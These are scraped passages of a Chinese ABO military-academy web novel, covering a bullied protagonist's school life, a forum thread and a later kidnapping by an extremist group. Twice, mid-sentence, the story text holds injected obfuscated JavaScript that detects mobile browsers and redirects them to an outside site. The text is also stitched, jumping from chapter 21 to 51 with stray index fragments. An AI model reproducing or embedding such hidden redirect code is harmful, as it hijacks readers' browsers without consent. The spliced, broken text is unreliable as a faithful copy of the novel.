校医正埋头苦干,感觉气氛不对,一抬起头,就看见顾识云的手指放在他病人的嘴里,黑色的高级皮革上沾着亮晶晶的口水,场面糜艳程度堪比A片开头含手指调情润滑,立刻崩溃地驴叫一声,拐过去用手肘顶飞:“这对吗!!!我们这里是救死扶伤的正规场所!!!” 时茧被吓到,下意识咬了口顾识云,后者被撞得有点踉跄,手指传来一阵阵微弱的钝痛,但根据它自己的判断应该没出血,只是留了一点牙印。 时茧忙道歉:“不好意思,我不是故意的。” 顾识云将手背到身后,只是遗憾今天出门不该戴手套的,隔着一层皮革,任何感觉都像是隔靴搔痒一样,让人心生荡漾却落不到实处,不上不下地吊着。 他摇摇头,“没关系,你没咬疼我。” 疑似被当做空气一样无视了的校医:“……” 喂军校搞AA恋真的会被退学的!!不要这么明目张胆好不好!!!! 他气得跳脚,本想拉着顾识云出去破口大骂一顿,接了个电话又不得不把怒气压下去,没好脸色地甩给顾识云几句话:“有学员做对抗训练受伤了,我得赶过去处理一下,你等报告出来拿了就走,不许死皮赖脸留在这儿搞东搞西,听见没!” 顾识云颔首,对着除时茧以外的人惜字如金。 校医收拾好急救箱,临走前又嘱咐时茧:“我给你开了个病例单,你的脚明天要是没好,就不用去早训。现在可以先在按摩椅上休息一会儿,放松放松全身肌肉,免得剧烈运动后产生横纹肌溶解。” 时茧礼貌道:“谢谢。” “看看人家!”校医骂骂咧咧地拎着急救箱走了。 等听不见脚步声后,顾识云才皱着眉对时茧说:“他好吵。” 时茧内心非常认同,但还是斟酌着说:“医生挺负责的,可能是他的个人风格。” 顾识云拉来根凳子在时茧身边坐下:“操场上的时候走得太急,忘记问你最近怎么样,还适应吗。” 时茧垂着眼睛,沉默一会儿后,忽然说:“‘’过得还不错,同学们经常会帮助我,还挺适应的’——我是不是该这么说?其实我爸爸给我打过电话,也是这样问,我本来很想告诉他第一军校哪里都不好,我和教官同学相看两厌,我根本不想待在这里,想退学回家,哪怕不读大学了也不要留在这种折磨人的地方。” 他顿了下,笑容有些苦涩:“可是爸爸满眼都是疲惫,我听到画外音有人在向他汇报军情,他的大衣领子上沾着暗黑色干掉的血迹,我就能猜到他是刚一下战场就给我打电话了。所以……那一刻我的情绪很复杂,突然就不知道该怎么跟他说这些。相比起他肩上的重担,我的这些苦恼和委屈不值一提,说出来显得很不懂事、很娇气。我就没有说心里真正想说的那些,只告诉他我一切都挺好的。” 顾识云安静地听着,伸手用指腹擦掉时茧眼角的泪花,缓缓道:“但是你过得不好。” 时茧没想过自己情绪会忽然崩溃,明明之前被余宸那样欺负他都没想过哭,但或许是因为这次有人耐心地听他倾诉,温和地安慰他,所以格外矫情一点。 他努力忍着,抽了下鼻子,带着点很淡的哭腔:“很糟糕……不熟悉的陌生环境,和我以前接受的教育完全不一样,别人能做好的我做不好,以前看都不会看一眼的Alpha,现在随便释放一点信息素就可以把我弄得很狼狈。我每天晚上都睡不着觉,睁眼看着天花板,回想白天发生的那些事,每一个细节放大后都让人很难堪。” “我一开始想闹几场让他们知难而退,可这么做只会给其他无辜的人带来麻烦,教官说让我安安分分混完军校四年,我想也是,否则除此之外我还能做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15057127|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” 但其实他连最基础的早训都完成不了。一个从来没有接受过系统训练,连信息素都控制不好,突然分化的E级Alpha,被猛然下放到第一军校这种练兵场里,举步维艰是客观事实。 何况时茧的性格算不上很讨喜,他长得漂亮,出身顶级,从小娇生惯养,没二次分化前是人人追捧的S级Omega,所以个性倔强、高傲,脾气也大,像只高高在上的天鹅,除了家人谁都看不上眼,也谁的话都不肯听,哪怕只是微小的冒犯也一定会被他记仇伺机报复回去。 他自己也知道没有了家世和Omega的光环,这种性格有多招人恨,可他一直都是这么活的,活了十七年,不愿意、也做不到审时度势改得温良恭俭。 在顾识云看来,时茧在第一军校这个地方是走投无路的,他初来乍到什么都不懂,不肯服输,又找不到出路,只好把自己变成一个随时都保持着攻击性的刺猬,用一身稚嫩的刺和现实撞得头破血流。他现在的状态与其说是顺从家人的期待跟自己暂时和解,倒不如说,他从来就没有接纳过自己是E级Alpha这个身份,即使表面上看起来风轻云淡毫无所谓,但实际上,他比谁都更在意那些恶意善意的评价,在无处发泄的耿耿于怀里自暴自弃。 “可这些都不是你的错。分化预测是医生给的,但即使再精准的Ai都无法准确预测未来,期待是人愿意希望事情朝自己想的方向发展才会产生,你本身没有任何责任替他人的期待破产而负责。难道因为你没有分化成S级Omega,你作为时茧这个人存在过的十七年就会随着档案一并被摸消吗。” 顾识云的声音很沉,像压迫云顶的雄山,却又有一种莫名使人信服的吸引力。 这些话时茧无数次用来安慰过自己,但被别人循循善诱又是不一样的,他就像一只被安抚的应激的小流浪猫一样,起伏的心情忽然间安定下来。 顾识云说:“现在的你和小时候的你我都见过,连难过的时候眼睛下垂的弧度都一模一样,无论是Alpha还是Omega,在我眼里,你都只是你。” 他又问:“能让我看一下你的精神体吗?听说很特别,是联邦唯一的一只黎明闪蝶。” 时茧轻轻“嗯”了声,摊开双手,一个有他半个手掌大小的白绿色半圆状虫茧静静待在掌心,外壳散发着微弱的荧光。 顾识云似乎想摸,但指尖到仅剩几厘米的地方停下,没有触碰到,时茧的指尖仍旧像被碰到一样颤了下。 “很漂亮。”他说。 “等你成年,它就会破茧成蝶了。” 化蝶吗…… 时茧低下头,有些出神地看着那枚茧。 有分量的外套裹挟着体温盖在时茧身上,顾识云只穿着打理规矩的白衬衫,低声道:“我还要等一会儿报告,你先睡吧。” 按摩椅恰到好处的力道按得时茧很舒服,他抓着Alpha宽大的衣服,整个人往下缩了缩,鼻尖凑到衣领附近,没有闻到什么类似信息素的味道,只有一点干净的玫瑰皂香。 怎么会长得这么高,外套够给自己当被子了…… 时茧昏昏沉沉地想着。 而在顾识云视角里,顺好毛的漂亮小刺猬缩在他衣服里,浑身都沾着他的味道,乖巧地点了一下头。 平常焊住的嘴角,缓慢而浅浅地上扬了一些弧度。 时茧睡了很好的一觉。睁开眼,一窗绿意就明媚地跳进来,阳光被枝叶切成细碎的光斑,洒在医务室明亮的地板上,跟着树冠一起随风摇晃。 一个风和日丽的上午。 时茧动了动,衣服还盖在身上,但窗边安静坐着的Alpha不见身影。他想要起身,忽然一阵雨点打地的声音—— 时茧垂眸,微微怔住。 几十只银杏叶叠成的蝴蝶从他怀里落下,掉在一地碎光里,翩跹着,风一吹,振翅欲飞。 21.第 21 章 >>联邦第一军校>>吐槽灌水>> 【主题帖】别人早八我早七,别人自习我五公里,军校生的命就不是命??? 【主题帖】投票贴,学校发的校服你觉得哪一套最帅,目前进度重装服>战斗服>礼服>常服 【主题帖】我想谈恋爱我想谈恋爱啊啊啊啊啊啊啊 …… 【主题帖】劲爆!武战和陆空指的打起来了! 主楼:【图片】【图片】连精神体都放出来了! 1l:wcwcwc怎么回事这么激烈,自从咳咳,某不可说上位纪察部后你校聚众斗殴的优良传统早就消失不见了,这俩系的怎么会打起来 2l:前排吃瓜 5l:怎么没人说……还能因为谁……就是你区最近的话题king 6l:明明是Queen更贴切点吧 8l:某新生真的6,刚来几天啊给陆空指闹得人仰马翻 10l:报道那天得罪教官,正式开学扇了太子爷,新生周搞得两个系打起来了,此人是什么混乱朝纲的狐狸精吗 13l:那很坏了 15l:都ABO军校生了,能不能搞点资本主义的,你们区也太封建了 16l:说封建谁比得上‘Alpha大爹配Omega小娇妻,我一定要给老A家生个大胖小A’这种封建? 18l:老子为联邦流过汗为联邦流过血就想老婆孩子热炕头怎么你了,Beta校职工别出来找存在感,小心老子顺着网线扇你 23l:最大伤亡是某新生被推了一下,这也叫打得激烈?雷声大雨点小罢了 25l:怎么感觉全世界都知道前因后果就我不知道,你们到底在打什么哑谜,求解码(还有某新生是谁啊我请假了今天才返校) 27l:…… 29l:……… 34l:不是,这有什么好打省略号的,不就是求个科普吗! 37l:…… 39l:艹忘记吐槽区没加盖了,还是回私密小组吧 40l:兄弟们走,转移阵地 >>联邦第一军校>>私密小组>>警惕军校妲己>> 【主题帖】不是都说了出小组不发某新生相关吗?真想舞到本人面前啊? 【主题帖】[链接http:劲爆!武战和陆空指……]举报一下这个贴 【主题帖】无语,姓沈的老凑某新生跟前干啥啊 【主题帖】报,姓沈的背某新生去医务室了! 【主题帖】是我眼花吗,某不可说怎么从医务室出来了,还衣衫不整的 【主题帖】某新生终于出来了,跑个五公里而已至于待医务室一上午吗,就这点体能还不够折腾的 这个时间点食堂已经下班了,时茧从医务室出来后就直接回了宿舍,一路上依旧能感受到很多隐晦打量的目光,他也懒得回应。 没想到的是付岩帮他打了一份饭,帮他摆在宿舍的小桌子上:“我在食堂打饭窗口排队的时候恰好遇到了顾部长,他说你可能会这时候回来,就刷自己的饭卡让我帮你带了一份。” 说着打开饭盒,菜香扑鼻,大多是甜咸口。 时茧坐下来,边掰着一次性筷子,边忍不住吐槽:“几号厨师炒的糖色,炒成这样简直是浪费粮食;还有这菠菜豆腐汤,豆制品腥味不凑近都能闻到,是完全没处理过吗,还有这道,这道……问题太多了,真想给校长写封意见信让他们组织培训一下厨师团队。” 付岩有些尴尬地说:“呃……军校嘛……不管什么排名,食堂饭菜基本都这样,不搞可乐炒橘子之类的黑暗料理就已经超出同行一大截了,反正Alpha贱命好养活,喂什么都能长得高高壮壮的,你将就吃一下吧。” 隋边就没这么惯着时茧的少爷脾气,他本来坐在床上擦拭手.枪,时茧进来也当没看见,闻言冷哼一声:“有的吃就不错了,还挑三拣四,看样子还是不够饿。” 付岩回头瞪他一眼:“你怎么每次一对上小茧就像吃了枪子儿似的呛人,他又没得罪过你,差不多的就适可而止吧!” “你是抖M?辛辛苦苦带饭回来怕冷了还揣胸口捂着,结果人家连句谢谢都没跟你说,相反还鸡蛋里挑骨头。我看下午体检你也不用翻箱倒柜地找身份证和复印件了,直接把扑克牌里的joker大小王抽走吧,呵呵。” 付岩和隋边又因为时茧斗嘴,他听得心烦,甩了筷子起身从冰箱里取出来一罐冻成冰沙的槐花蜜,随手扔给付岩:“别吵了。耳朵疼。” 付岩差点没接住蜂蜜,不太敢相信般,楞楞地一直盯着时茧。 隋边冷笑道:“你不会以为一罐蜂蜜就能收买我吧,像你这样的——” “我什么时候说过要给你吃了?自作多情。”时茧忽然打断了隋边的话,声音沉下来,听着冷冷的,有股莫名的气势。 这下轮到隋边被堵得哑口无言了,半晌后憋红脸,一声不吭地跳下床摔门离去。 响声把付岩震回神,感动又抱歉地对时茧说:“谢谢。” “我没把你当仆人。” 时茧忽然的一句话让付岩又愣了一下,他抿着唇,有点别扭地说:“我性格就是这样的,不满意就会挑挑拣拣,不是针对你一个人。” 这情景仿佛猫主子屈尊降贵用脑袋蹭人类奴隶,付岩感到惊悚,但又有点享受其中,忙摆着手说:“不不不……你不解释我也明白的。哎呀,你不用在意隋边的话,我给你做的事都是我自愿的。他这个人我了解过,家境比较差,性格又很耿直,所以就有点那什么——但也不只是针对你,你别多心,他平等地讨厌每一个权势子弟。” 付岩激动的小心跳冷静下来后,又专注地看着时茧的眼睛,认真道:“不要怀疑自己,你是值得别人对你好的。” “……肉麻。”时茧欲言又止半天,最后只丢下这句话,埋头苦干午饭。 付岩笑呵呵地,目光包容而慈爱地看着埋在大碗里的蓝色有毒蘑菇。 第二天的早训,时茧把校医开的病例单拿给沈行川看了,得以免除五公里拉练。脚上的伤养好之后,还是照常跟着大部队一起训练,并没有耍赖皮偷懒。 牧野知道不可能让一个E级Alpha几天之内就对标班里平均线,更何况是这么娇生惯养半路出家的E级,对他也没太大要求,跑不进甚至远远达不到及格线也无所谓,哪怕后半程总被沈行川带着跑也睁只眼闭只眼,反正只要不给自己找麻烦,他俩就能相安无事。 余宸从禁闭室放出来后还没来得及对时茧展开报复,就被一通电话叫回第一军区,没有他带头针对,时茧倒也没和谁刻意起过冲突,新生周很快就以一种非常平和地方式结束了。 跑道上总有被风吹来的绿色银杏叶,方队跑过时又带飞起来,再落下时,就被晨光夕阳晒成金黄,被清洁工扫拢倒进垃圾堆里。 第一军校在前半学期只安排了文化类和体能类两大学科,期中考成绩下来,时茧严重偏科,文化和军事理论课可以拿全A,但基础体能训练就和他每天的早训一样能够勉强完成就算不错了,实在不能要求更高。何况他本人都不在意体能课全挂,面对牧野的恨铁不成钢也只是冷冷地笑一下。 相比较于成绩,时茧还是不太能适应难吃的食堂饭菜,粗糙的宿舍环境,违反人性的课程安排,以及野蛮教官和超雄同学。 他和两个室友的关系也没太大进展,偶尔能和付岩多说几句话,但隋边自从摔门而去之后对他的态度比从前更加恶劣,讥讽嘲笑是常态,时茧越不搭理就越起劲,像是要极力否定他曾说过的那句“自作多情”。 这种社交上的主观疏远被时茧放大到整个陆空指,除了沈行川之外,他就再也没有主动示好或被动接受过其他人,这些自命不凡的军校生不像他以前学校里那些热情开朗的Omega,会因为他长得好看就乐此不疲地大胆拉手宣布从今天起我们就是好朋友。 但他又的确无时无刻不感受到从学校每个角落里传来的视线,偶尔能捕捉到一些来不及隐藏的闪光灯。 他们从来不会对视,永远只是一方隐秘地窥探着一方。 时茧觉得自己大概能猜到原因,他的等级在第一军校里是个天生的异类,就像富人堆里混进去的穷侍应生,扎眼又格格不入。而同一阶级的人,自然要联合起来把这个突兀的存在抹掉。 唯一的好处可能是因为每天都泡在这群Alpha军校生糅杂的高浓度信息素里,时茧对自己信息素的控制能力进步了很多,终于懂得该怎么随心收放,对B等级以下的信息素免疫力也大幅提高,这方面进步可谓神速。 如果余宸没从第一军区回来,时茧能保持着这种状态相对平和地度过军校四年。 但他不仅高调至极地回来了,还刚好赶上期中之后新增的单兵综合素质科目,带着许柏一进基地教室就直奔时茧而来。 “看来大小姐在军校过得很滋润啊,我离开这么久,有没有发生什么好玩的事?” 余宸单手撑着墙壁,前后都是课桌,形成了一个把时茧和外界分割的包围圈。 他低着头,一双笑面虎的眼睛,余光瞥到满脸担心朝这边走来的沈行川,声音放轻缓了一些,语气玩味:“我记得我走之前和同学们嘱咐过,大小姐性格比较高傲,非常讨厌朋友这种拉低档次的东西,让他们识相的都不要来打扰你。但现在看起来,总有一些人不那么听话,你说是不是?” 时茧皱眉,警告性地直视回去:“我可以陪你玩,少牵扯其他人进来。” “但他似乎不这么想吧。”余宸邪气地笑了笑,转头迎上沈行川,仿佛知道他想说什么似的,提前堵道:“听许柏说你是班长?别那么紧张,我只是和时茧同学叙叙旧。你看我们聊得挺开心的——对不对,时茧同学?” 时茧抿唇,垂下的长睫敛去眼底的情绪。 他挪开了脸,抗拒从肢体语言里表达出来。 沈行川听说过时茧在公共浴室被余宸霸凌,据说后者也是因为此事才被他父亲喊回第一军区,他不清楚对方在家里有没有被余上将惩处,但想也知道太子爷在时茧身上吃了亏,不会那么善罢甘休的。 “今天要开新科目,学校专门从军队里请来现役军官为一年级生指导教学,教官给我发信息说新老师马上就到了,余同学还是先回座位上坐好吧,不要影响到课上秩序。” 余宸上下扫着他,半晌,莫名笑了两声:“在班长眼里我也太不懂事了。虽然的确因为一些娇娇大小姐哭鼻子告家长的原因导致我受了不少罪……不过放心,我怎么可能会把这种小事放在心上呢。” 余宸出乎意料地好脾气,转身找离得近的位置坐下了,和周围人有说有笑,似乎真的不再关注时茧。 高级Alpha带来的压迫感骤然消失,时茧却仍旧保持着一种防御性地姿势,他非但没有放心,反而更觉得古怪。 沈行川也摸不太清余宸这阴晴不定的性格,只能安慰道:“反正他又不能当着这么多同学和新老师的面对你做什么,放心吧。” 话是这么说,时茧却越发不安。他不明白余宸那句告家长是什么意思,和这个人相关的事,他分明从来没对顾识云之外的人提起过,也叮嘱过他千万不要跟他爸爸转述。 时茧装着心事,连上课铃响都没听见,直到听见Alpha们兴奋的欢呼声,他才下意识抬头朝门口看去,只一眼就愣住了。 余宸也微微前倾,惊讶地看向来人。 这,这不是…… 温隅安身着和牧野一模一样的黑色教官服,微笑着走进来,身后还跟着一个拎着化妆箱、脂粉气很重的Beta。 他似乎往时茧这边看了一眼,面对学员们的热情,笑道:“大家好,自我介绍一下,我叫温隅安,取自一隅偏安的意思,今年24岁,毕业于联邦第一军校,现在第九军区某部队服役。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15061832|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校和在役期间都曾荣获联邦级别军事赛事射击项目的第一名。受学校邀请,担任你们在校四年期间单兵综合素质科目的教官,在此期间我会倾囊相授,也希望大家能够学有所成。” 话音刚落,基地教室空旷的场地里立刻响起热烈掌声,沈行川带头叫好,激动得脸都涨红,转过头兴奋地对时茧说:“我去,学校居然把温上校都招来了,他可是九大军区公认的第一狙击手啊!听说他比赛的时候十连穿靶,把记分员都看傻了,视频在网上几亿的播放量!” 时茧初时错愕的情绪渐渐平复,继而复杂,心想你不用跟我介绍这些:“……我知道。” “你知道什么!他可是温隅安,温上校!S级攻击型Alpha!”沈行川崇拜地看着讲台上的温隅安,滔滔不绝地给时茧安利他的英雄事迹,末了有些许遗憾道:“可惜现役军官的精神体和SA(特殊能力)都是相对保密的,普通人无从得知,我还真有点好奇像温上校这么温柔和蔼的人,精神体会是什么呢。” 时茧被迫听他叨叨了好几分钟,眼睛都有些放空了,麻木道:“黑曼巴。” “原来是黑曼巴……等等,你从哪打听来的小道消息,怎么可能是黑曼巴呢!他从来没在非战斗状态下释放过自己的精神体,连联邦最权威的八卦论坛都扒不出来!而且,他这种和善的性格,精神体也不太可能是毒蛇类的吧……” 因为我从小就嫌弃他的精神体是爬虫动物,鳞片又冷又丑,所以他和他的精神体都有严重的外貌焦虑。 时茧张了张嘴,欲言又止,也不知道把真实原因说出去对方会不会相信。 躁动一阵后,温隅安示意学员们稍安勿躁,温声讲解道:“单兵综合素质考察的是士兵脱离集体后在战场和敌后展现出的战斗能力,更加注重个人能力的挖掘和培养,毕业后能够进入特种部队服役的军校生无一不是单兵综合素质这一项的佼佼者,小项细分为侦察与反侦察、枪械的组装与使用、SA在实战中的运用……” 时茧自认为这些东西都与他一个E级Alpha无关,听得昏昏欲睡。 不注意下,温隅安已经边说边走到了他座位附近,声音在迷迷糊糊之间由远及近:“我之所以把‘侦察与反侦察’这项安排在第一个科目,是因为作为一个陆空战斗指挥系的预备役军人,应该明确细节决定战局成败。对于战场,对于敌情,必须保持百分之百的敏锐观察,不能错漏任何信息。一个指挥官最优秀的地方不在于自身能力有多强,而在于犯的错是否能够比对方的指挥官更少。” 温隅安说完,笑了笑,语气放缓:“当然,初次见面,我不会给大家讲过于大部头书的东西,也不喜欢理论教学——这位是艾杰,特效化妆师。” Beta向大家礼貌性地鞠了一躬,学员们好奇地看向他。 化妆师?他来能干什么? 余宸翘着二郎腿,一句话就惹得Alpha们哄笑起来:“报告教官,是要让我们伪装成Omega特工,用美色勾引敌军吗?那我们是不是还要穿小裙子、高跟鞋,再喷点甜甜的香水?” 温隅安对他下流的玩笑不置可否,笑道:“如果在收集情报或是深入营救等不得不侨扮伪装的情况下呢?一个明显接受过训练的Alpha,和平庸不起眼的beta或是娇弱无害的Omega比起来,你认为哪个身份会更容易受到怀疑,哪个身份更容易被信任?再换个例子,假如你在街上突发意外需要请求他人的帮忙,你会先拉住Beta、Omega还是Alpha?我想无论哪种情景,答案都是显而易见的。” 余宸被反驳后脸色有些不好看,时茧更是不适地皱起眉头。 他知道温隅安只是说出了一个事实,Beta的确大多平平无奇,Omega也的确大多娇软可爱,但这个事实从一个大沙文主义的Alpha嘴里说出来,无疑变了味道。 就和他说Omega天生就应该锁在家里,给Alpha做妻子时,给时茧的那种不适的感觉一模一样。 他还在想着这些,忽然一只手在他肩上拍了拍,熟悉的声音从上方传来:“再回到余同学刚刚的问题。伪装的方式有很多种,外型粗犷的Alpha并不适合女性化的打扮,这种手段不仅起不到伪装侦察的作用,反而还会被敌人一眼识破,或者被热心群众当作伤风败俗的变态扭送当地公安局。我们一般推荐根据自身特征进行伪装,如果相貌俊朗年轻,可以乔装成青春阳光的学生;练了一身好肌肉,可以乔装成健身教练;攻击性相对不那么强,就乔装成Beta等等。” “当然,如果有那个条件,能够直接伪装成Omega的话,那会是最好的选择。” 时茧的心情随着温隅安的话一点点跌入谷底,余宸和其他听了半天的Alpha这才反应过来教官想要做什么,看向那人的视线不由得更加炙热。 温隅安从上而下地看入时茧的眼睛,那汪苍蓝里有着明显的一时半刻的错愕。 反观他笑容得体,语气温和:“那么时茧同学,你愿意为大家示范一下吗?” 时茧余光看到Beta化妆师朝着这边走过来,放在空桌上的化妆箱打开后是很多风格各异的女装,瞳孔不由得一缩,下意识地拒绝:“我不……” 从进基地教室起就仿佛互不认识的男人忽然弯下腰来,健壮的身体挡住了其他人窥探的视线。 他将唇凑在少年耳边,喷洒出热气,轻昵而明目张胆地威逼利诱:“反正小茧以前本来就是Omega,不是吗。” 那个“不”字卡在喉咙,时茧不可置信地睁大了眼睛,试图在养兄的眼睛里找出哪怕一丝半点的玩笑意味,存着不切实际的以为他会像从前那样马上说“逗你的”的天真想法,但没有—— 什么都没有。 温隅安那蛇类的,冰冷而湿腥的竖瞳里,只有几乎要将他吞没的黑色。 一股冷意席卷全身,时茧感受到了比公共浴室那晚更大的羞辱。 50-60 第51章 第 51 章 真正的他。 时茧发现这个极端组织的人多多少少都沾点, 他只不过是头发长了点、颜色蓝了点,为什么叫他水母! 顾识云却凑在人耳边低低笑道:“还挺贴切的。” 时茧狠狠地剜他一眼,你这种白化病陆地生物少来嘲笑他。 在旁人看来, 这两人简直是大难临头都还在眉来眼去暗送秋波, 秀恩爱秀得根本没眼看。 原绣忍不住吐槽:“你这样的Omega简直经典得可以写入教科书,成为娇妻模板世代流传。” 要不是顾及任务在身, 时茧恨不得当场就把他的嘴给缝起来, 现下为了多收集一点线索, 却不得不顺着对方的话, 假装成很爱老公的Omega娇妻, 挽着顾识云的手臂, 把头靠在他的肩膀上, 一副小鸟依人的模样:“把我老公也写进去好吗, 我们的爱情故事应该万世流芳。” 顾识云反客为主, 五指插入时茧的手指, 和少年十指相扣, 嗓音低沉磁性:“希望以后别人提起我, 都会说,‘原来他就是那个Omega的Alpha’。我一点都不介意他人把我当做你的所有物提起,甚至很希望我的名字能永远跟在你的名字后面。” 时茧:“……” 太入戏了部长。 他害羞地躲到顾识云背后, 少年音清脆又清甜,像脆生生的甜李子:“……你真烦。” 顾识云:“那我能不能天天烦你。” 原绣:“……” 刀疤:“……” 杨刀:“……” 喂我们三个大活人还在旁边杵着呢, 能不能别把我们当成你们爱情里的润滑油和避孕套整啊!!!! 时茧险些就要控制不住自己逐渐狰狞的表情了,趁着别人都看不到,狠狠地拧了一把顾识云,压低着声音,咬牙切齿地说:“你差不多可以了, 再演下去我就要当场一胎三宝了!” 顾识云这才收敛些许,一路牵着时茧的手,暗中观察着极端组织的基地。 或许是不觉得他们能够记住来时路线,根本不担心地址会泄露出去,又或者原绣安排刀疤给他们打了AS抑制剂,自信就算不蒙着眼睛他们也逃不掉,总之时茧和顾识云得以在理智清醒的情况下被带进入口。 大概是担心地面目标会太过显眼,组织首领选择了地下城作为据点。在经过一条极长的、仅供三个人并排通过的通道后,一座环形的三层地下楼出现在二人眼前。 他们站立的地方在最底下一层,也最为显眼吗,当原绣等领着他们出现的那一刻,不少穿着白大褂的青年研究员都朝这边点点头,权当做打招呼;三层靠外墙的环形走廊上人群来去匆匆,仅凭外形判断,应该大部分都是Omega,无所顾忌地随意释放着信息素,有些像第一军校的那些Alpha们。 但等级都不太高,时茧并没有感受到太有压迫感的气势。 时茧的目光从对面的观光式电梯一路延伸到顶层,那里有一段没有走廊,直接是一道反光玻璃幕墙,背后是一个弧形的房间,但因为是单向玻璃,从他抬起头往里面看的角度,并不能看清楚里面到底有什么。 可就在时茧抬起头、看向那面墙时,一股强烈的、被注视的直觉贯穿脊背,他几乎是下意识地打了个寒颤。 但那种仿佛整个人都被盯上的感觉只出现了一刻,等时茧冷静下来,再次看去的时候,那道视线忽然又消失不见,快到他以为那只是错觉。 时茧和顾识云在看清楚基地全貌的那一刻都下意识地看向了对方,眼睛里都浮现出一种震撼,这样庞大的堪比地下商城的规模,同时容纳上万人绝对不成问题—— 所以这个组织发展到如今,到底有多少成员?那些被绑架失踪的Omega会在这里吗?他们盘踞在这样的窝点里又到底在图谋些什么? 太多的疑问盘旋在两人心头,表情都不约而同地沉重了很多,任凭谁也没有想到,就在皇室的眼皮子底下、在被九大军区保护起来的中心区,居然有着一个规模如此巨大的极端组织窝点,这么多年却从未有人发现,实在是…… 重逢后一直以来都很活跃的顾识云,忽然间比在学校时还要沉默,时茧注意到他突然变化的情绪,还以为对方是在为被抑制的AS而感到忧虑,想了想,还是轻轻地用小拇指在他掌心划了一下。 顾识云思绪回笼,低头看向时茧,发现他眼底的担心后,很轻地笑了一下,牵着他的手摇了摇。 ‘没关系,那个抑制剂对我不起效果。’ ‘?’ ‘演的。’ 然后上一秒还在感叹Omega恋爱脑要不得的原绣,下一秒就看到之前时茧之前还跟那Alpha如胶似漆,现在却不知道为什么猛地甩开他手,沉下脸气冲冲地埋头往前走,速度快得顾识云追都追不上。 他一愣,而后疑惑地看向刀疤和杨刀,这两人也完全在状况外,纷纷摇头:“突然就他逃他追了哎,根本反应过来到底发生了什么。” 原绣却是一喜,猛地一握拳:“好!就该这样!小水母给我狠狠地甩了他!” 说罢一路小跑着追上去,叽叽喳喳地跟时茧搭讪:“你怎么长得这么好看啊,你妈妈等级一定很高吧,她给你遗传了这么好的基因!你以后要是生一个Omega小宝宝的话肯定也很好看!” “你的头发怎么保养的,这么长还根根丝滑,我的头发每次一长到可以扎起来个小揪揪就会断掉,毛毛躁躁的怎么也护理不好。” “你喜欢Omega吗?虽然联邦法律不允许同性别之间结合,不过你之后也是要加入组织的,我们组织里可没这么不人道的规定——究竟哪条法律法规能框柱人的七情六欲呢——你觉得我怎么样?不管你是想在上面还是我在上面,我都可以的,我的信息素是绣球,你的信息素是小苍兰吧,都是花香调,看来我们是天造地设的一对啊~” 时茧忽然顿住,遍体生寒—— 不对。 他之前一直以为自己信息素控制得很好,根本没有泄露出去过,这三个笨东西因为他长得很好看就把他当成Omega绑了,但刚刚原绣说了什么? 他说,‘你的信息素是小苍兰吧’。 那种被俯视的直觉重新涌上时茧心头,他开始感觉到一阵接一阵的晕眩,模糊中他看见了刚追上来的顾识云,对方明显也听到了原绣话里的漏洞,神色也是一凛。 两人立刻意识到他们从一开始就暴露了,这三个人看起来不着调的对话成功让他们误以为这起绑架是场见色起意的乌龙,但实际上、事实上—— 他们从最开始,就是奔着时茧来的。 他们知道那个秘密。 时茧在彻底失去意识的前一刻,都还在脑海中盘算知道他秘密的那些人中到底谁是最有可能策划出这起绑架案的人选,在那反应过来的短短两三秒的时间里,数量有限的人名从他脑海中一一划过,到最后他甚至升出一种荒谬地、不切实际地猜测:会不会是父亲做的,为了验证他这一整个学期在第一军校到底都学到了多少东西。 但时茧最后也还是没能想出答案,他很快就昏迷倒在原绣怀里,被稳妥地接住。 顾识云眉头紧蹙,厉声道:“把他还给我!” “没想到AS抑制剂和麻醉剂对你居然都不起作用,我可是特意用了能放到一头大象的量啊。”原绣啧啧称奇,“这样看来,你的基因等级应该至少是A+以上吧?很不错了,可惜,即使等级再高,你也不配觊觎这只承载了我们终极理想的小水母。” 顾识云双手凝聚起和余宸施展AS时一模一样的火种,神情是昏迷的时茧从未见过的阴鸷,声音也如同被撕裂般沙哑道:“不管你们这个组织到底想要做什么,我警告你,别动他。” 刀疤和杨刀立刻挡在原绣身前,一道金属盾牌挡去疾驰而至的火球。 在火焰消散之时,原绣勾起唇角,微笑道:“你认为我们会伤害他?……果然是什么都不懂的Alpha。看在终于把小水母找回来,我心情还不错的份上,你倒是不用担心有人会伤害他,更加不用担心自己会死,毕竟高等级的Alpha,留着确实还有用处。” 他挥挥手,刀疤和杨刀飞身而上,顾识云随手一挥,两人便被风刃甩飞出去。 眨眼间顾识云便倾身压至原绣面前,狠狠砸下一拳。 后者嘴角开裂,溢出一丝鲜血,反倒更加兴奋,在顾识云下杀手之前,低声说:“这基地里任何一个人死掉,他都会很痛苦哦。你知道有一种转移生命力的AS吧?” 顾识云瞳孔紧缩,猛地收手,自己却被反噬的力道催得五脏震动。 他压下喉头的腥气,目眦欲裂道:“你们到底想做什么!” 原绣眨眨眼,替时茧整理好他乱掉的额发,神态温柔:“只是想见证一个奇迹而已……难道你不想看见真正的他吗?” “他就是他,没什么真不真假不假!” “唉,你果然不懂。”原绣叹道,“一个真正的S++……不知道要+多少,总之能生出来很多继承到他优秀基因的宝宝的Omega啦。” 第52章 第 52 章 就当做了一场噩梦。…… 顾识云的脸色立刻比之前更难看十倍, 原绣看着并不高大,但把时茧打横公主抱起来时很稳,他一个眼神, 